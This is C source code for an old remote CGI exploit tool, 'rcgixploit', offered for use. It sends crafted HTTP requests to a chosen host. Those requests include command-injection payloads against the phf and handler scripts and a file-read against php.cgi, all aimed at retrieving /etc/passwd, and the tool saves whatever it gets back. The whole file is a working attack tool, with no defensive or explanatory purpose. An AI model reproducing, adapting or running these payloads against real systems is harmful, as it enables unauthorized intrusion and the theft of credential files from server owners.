rcgixploit.c.txt

`/*  
* DESIGNER: ZinC_Sh(C) E-Mail: [email protected]  
*  
* DATE: Mon Feb 14 15:28:19 GMT+2 2000 @601  
*  
* MADE ON: linux SLackWarE.-  
*  
* GREETINGS: Packo, BlackSouL.-  
*  
* COMPILE: gcc -o rcgix rcgixploit.c  
*  
* DESCRIPTION: Remote Cgi Exploit, looking For PHF ,PHP ,HANDLER ,UPTIME,  
* FINGER and try to Collect Useful FILES such as /etc/passwd.-  
*  
*  
* P.S. DO NOT ABUSE IT.-  
*  
* May The Poula Kapribekou Be With You...  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <arpa/inet.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/tcp.h>  
#include <netinet/ip.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#include <unistd.h>  
  
#define OXO 1  
#define PORT 80  
#define STRING "200 OK"  
#define PHF "GET /cgi-bin/phf/?Qalias=X%0acat%20/etc/passwd HTTP/1.0\n\n"  
#define PHP "GET /cgi-bin/php.cgi?/etc/passwd HTTP/1.0\n\n"  
#define HANDLER "GET /cgi-bin/handler?cat%20/etc/passwd HTTP/1.0\n\n"  
#define UPTIME "GET /cgi-bin/uptime HTTP/1.0\n\n"  
#define FINGER "GET /cgi-bin/finger?root HTTP/1.0\n\n"  
  
int usage(char *ARG)  
{  
fprintf(stderr,"Usage: %s <CGI-N> <hostname> <port>.-\n",ARG);  
fprintf(stderr,"Examp: %s <2> <www.remote-machine.com> <80>.-\n\n",ARG);  
}  
  
void comm(void)  
{  
printf("-[ Remote Cgi Exploit ]- By -[ ZinC_Sh(C) ]-\n");  
}  
  
int main(int argc, char **argv)  
{  
  
struct sockaddr_in addr;  
struct hostent *rh;  
  
FILE *fd;   
char buffer[BUFSIZ];  
char for_switch;  
int result;  
int con,sock;  
int ptr;  
  
if (argc < 3 || argc > 4){  
usage(argv[0]);  
menu();  
comm();  
poula_kapribekou();  
exit(OXO);  
}  
  
if((rh=gethostbyname(argv[2])) == NULL)  
{  
perror("gethostbyname");  
exit(OXO);  
}  
  
memset(buffer,0,BUFSIZ);  
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)  
{  
perror("Socket");  
exit(OXO);  
}  
  
if (argv[3] == NULL)  
ptr=PORT;  
else  
ptr=atoi(argv[3]);  
  
addr.sin_family = AF_INET;  
addr.sin_port = htons(ptr);  
addr.sin_addr = *((struct in_addr *)rh->h_addr);  
bzero(&(addr.sin_zero),8);  
  
if ((con=connect(sock,(struct sockaddr *)&addr, sizeof(addr))) != 0)  
{  
perror("connect");  
fprintf(stderr,"Can Not Connect To The Remote Host\n");  
exit(OXO);  
}  
  
sscanf(argv[1],"%s",&for_switch);  
result=switching(for_switch);  
  
if (result == 1)  
{  
send(sock,PHF,sizeof(PHF),0);  
recv(sock,buffer,sizeof(buffer),0);  
if ((strstr(buffer,STRING)) != 0 )  
{  
printf("\nFOUND! PHF Script on The Remote Host.-\n");  
printf("Wait, LoadInG Lynx...\n");  
fd=fopen("PHF.results","a");  
fputs(buffer,fd);  
fclose(fd);  
system("lynx PHF.results");  
} else {  
printf("\nPHF Script Not Found\n");   
}  
}  
  
if (result == 2)  
{  
send(sock,PHP,sizeof(PHP),0);  
recv(sock,buffer,sizeof(buffer),0);  
if ((strstr(buffer,STRING)) != 0 )  
{  
printf("\nFOUND! PHP Script on The Remote Host.-\n");  
printf("Wait, LoadInG Lynx...\n");  
fd=fopen("PHP.results","a");  
fputs(buffer,fd);  
fclose(fd);  
system("lynx PHP.results");  
} else {  
printf("\nPHP Script Not Found\n");  
}  
}  
  
if (result == 3)  
{  
send(sock,HANDLER,sizeof(HANDLER),0);  
recv(sock,buffer,sizeof(buffer),0);  
if ((strstr(buffer,STRING)) != 0 )  
{  
printf("\nFOUND! HANDLER Script on The Remote Host.-\n");  
printf("Wait, LoadInG Lynx...\n");  
fd=fopen("HANDLER.results","a");  
fputs(buffer,fd);  
fclose(fd);  
system("lynx HANDLER.results");  
} else {  
printf("\nHANDLER Script Not Found\n");  
}  
}  
  
if (result == 4)  
{  
send(sock,UPTIME,sizeof(UPTIME),0);  
recv(sock,buffer,sizeof(buffer),0);  
if ((strstr(buffer,STRING)) != 0 )  
{  
printf("\nFOUND! UPTIME Script on The Remote Host.-\n");  
printf("Wait, LoadInG Lynx...\n");  
fd=fopen("UPTIME.results","a");  
fputs(buffer,fd);  
fclose(fd);  
system("lynx UPTIME.results");  
} else {  
printf("\nUPTIME Script Not Found\n");  
}  
}  
  
if (result == 5)  
{  
send(sock,FINGER,sizeof(FINGER),0);  
recv(sock,buffer,sizeof(buffer),0);  
if ((strstr(buffer,STRING)) != 0 )  
{  
printf("\nFOUND! FINGER Script on The Remote Host.-\n");  
printf("Wait, LoadInG Lynx...\n");  
fd=fopen("FINGER.results","a");  
fputs(buffer,fd);  
fclose(fd);  
system("lynx FINGER.results");  
} else {  
printf("\nFINGER Script Not Found\n");  
}  
}  
  
  
close(sock);  
return 0;   
}   
  
int switching(int CMD)  
{  
switch(CMD)  
{  
case '1':{ printf ("Looking For phf Script on The Remote Machine.-\n");  
printf ("Wait...");  
return 1;  
}  
case '2':{ printf ("Looking For php Script on The Remote Machine.-\n");  
printf ("Wait...");  
return 2;  
}  
case '3':{ printf ("Looking For handler Script on The Remote Machine.-\n");  
printf ("Wait...");  
return 3;  
}  
case '4':{ printf ("Looking For uptime Script on The Remote Machine.-\n");  
printf ("Wait...");  
return 4;  
}  
case '5':{ printf ("Looking For finger Script on The Remote Machine.-\n");  
printf ("Wait...");  
return 5;  
}  
default :{ printf ("What The Fuck IS This ??? Choose a Cgi-N From The List.-\n");  
break;  
}  
}  
  
}  
  
poula_kapribekou(void)  
{  
printf("-[ May The Poula KApribekou Be With YOu... ]-\n");  
}  
  
menu(void)  
{  
printf("|N| CGIs |------------------------| DESCRIPTION |----------------------|\n");  
printf("|-|---------|-------------------------------------------------------------|\n");  
printf("|1| phf)| phf, Looking For /etc/passwd file on The Remote machine |\n");  
printf("|2| php)| PHP.cgi, Looking For /etc/passwd file on The Remote machine |\n");  
printf("|3| handler)| Handler, Looking For /etc/passwd file on The Remote machine |\n");  
printf("|4| uptime)| uptime, Looking for (Time,date,Users) on the Remote machine |\n");  
printf("|5| finger)| Finger, Execute 'finger Command' Through the Web |\n");  
printf("|-|---------|-------------------------------------------------------------|\n\n");  
}  
`